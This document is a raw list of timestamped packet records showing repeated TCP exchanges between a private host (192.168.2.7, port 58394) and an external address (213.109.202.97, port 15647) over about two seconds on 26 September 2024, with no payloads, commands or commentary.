Sep 26, 2024 01:49:44.605319023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.605396986 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.612936020 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.616041899 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.628573895 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.628623009 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.628752947 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.651249886 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.656189919 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.659742117 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.667699099 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.667747974 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.667853117 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.691304922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.692827940 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.692868948 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.693032026 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.696479082 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.697582006 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.702449083 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.705303907 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.708532095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.711976051 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.716794014 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.719749928 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.721215963 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.721301079 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.726135969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.727936983 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.744277000 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.748250008 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.754945040 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.755696058 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.763246059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.763282061 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.763430119 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.784064054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.785136938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.785187006 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.785289049 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.789927959 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.792650938 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.797559023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.799460888 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.799596071 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.812196970 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.812300920 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.826036930 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.826052904 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.826186895 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.835069895 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.840630054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.848099947 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.848151922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.848683119 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.857139111 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.857150078 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.857330084 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.858464956 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.871882915 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.871897936 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.872061968 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.877631903 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.877736092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.886749983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.886760950 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.886892080 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.891906023 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.892008066 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.902728081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.902749062 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.902892113 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.913357019 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.913481951 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.941622019 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.946516991 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.946640015 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.951503038 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.951631069 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.959158897 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.959197044 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.959289074 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.974107981 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.974128962 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.974265099 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.984010935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.984023094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.984179020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:44.997344971 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.997356892 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:44.997507095 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.006042957 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.006227970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.013170958 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.013190985 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.013289928 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.026976109 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.027002096 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.027318001 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.039002895 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.039123058 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.057660103 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.057696104 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.057786942 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.084701061 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.084781885 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.092917919 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.092941046 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.092983961 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.099088907 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.099136114 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.106957912 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.114387035 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.114438057 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.123971939 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.124010086 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.124030113 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.131552935 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.131601095 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.144990921 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.152890921 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.152908087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.153012037 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.165170908 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.166075945 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.166093111 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.166129112 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.166152000 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.179265976 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.179286003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.179330111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.185256004 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.185324907 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.206984997 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.207048893 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.223979950 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.224046946 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.232669115 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.232682943 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.232719898 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.240304947 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.240349054 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.253374100 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.253420115 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.263726950 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.263748884 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.263827085 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.271708012 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.271960020 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.279072046 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.279088974 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.279145956 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.292898893 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.292917013 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.292987108 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.316520929 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.316678047 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.324837923 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.324862003 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.324918985 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.348473072 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.348490953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.348504066 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.348623991 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.350903034 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.350972891 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.355842113 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.355923891 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.364465952 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.364619970 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.382175922 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.382191896 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.382350922 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.392235041 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.392252922 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.392352104 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.403033018 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.403065920 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.403151989 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.410269022 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.410362959 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.433312893 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.433350086 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.433490038 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.458312988 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.463371038 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.463494062 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.468348026 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.468424082 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.474749088 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.474867105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.490468979 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.490592003 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.517230988 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.517249107 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.517262936 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.517359018 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.540581942 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.544740915 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.544770002 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.544780970 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.544837952 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.544903994 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.545516968 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.545628071 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.550458908 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.550535917 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.550683975 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.560909033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.560944080 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.561021090 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.583138943 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.583266973 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.604609966 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.605031967 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.628771067 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.632178068 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.632189989 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.632344007 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.633721113 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.633793116 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.638581038 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.638667107 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.663750887 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.668656111 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.668772936 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.669363022 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.669420958 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.669430017 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.669455051 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.669498920 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.669498920 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.674237967 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.674351931 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.675649881 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.675724030 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.680630922 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.680732965 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.684503078 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.684539080 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.684571981 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.689455986 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.689553976 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.697494984 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.697602034 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.714445114 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.714462996 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.714735031 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.740149021 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.745125055 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.745234966 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.750092983 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.750173092 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.756148100 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.756218910 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.761080980 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.761148930 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.765990973 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.766056061 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.766691923 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.790281057 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.790363073 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.801620007 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.801702023 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.826890945 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.826920033 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.826931953 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.826989889 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.827017069 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.832613945 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.842729092 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.842772007 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.852137089 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.858283043 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.858335972 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.879203081 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.879266024 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.879272938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.892369986 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.892393112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.892445087 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.907349110 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.907362938 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.907448053 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.908483982 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.914175987 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.914331913 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.930160999 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.930171967 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.930505037 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.944662094 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.944674969 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.944950104 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.966869116 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.966886044 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.967108965 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.971734047 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.971760988 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.971792936 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.976545095 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.976620913 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.983525038 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.983547926 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.983643055 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.985398054 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.985469103 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:45.990336895 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:45.990461111 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:46.014986038 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:46.015839100 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:46.020008087 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:46.020092964 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:46.042644024 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:46.047585011 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:46.047713041 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:46.052607059 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:46.052690029 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:46.053376913 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:46.053514004 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:46.058357954 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:46.058634996 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:46.074676037 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:46.074937105 CEST	58394	15647	192.168.2.7	213.109.202.97
Sep 26, 2024 01:49:46.080876112 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:46.080935001 CEST	15647	58394	213.109.202.97	192.168.2.7
Sep 26, 2024 01:49:46.081001997 CEST	58394	15647	192.168.2.7	213.109.202.97
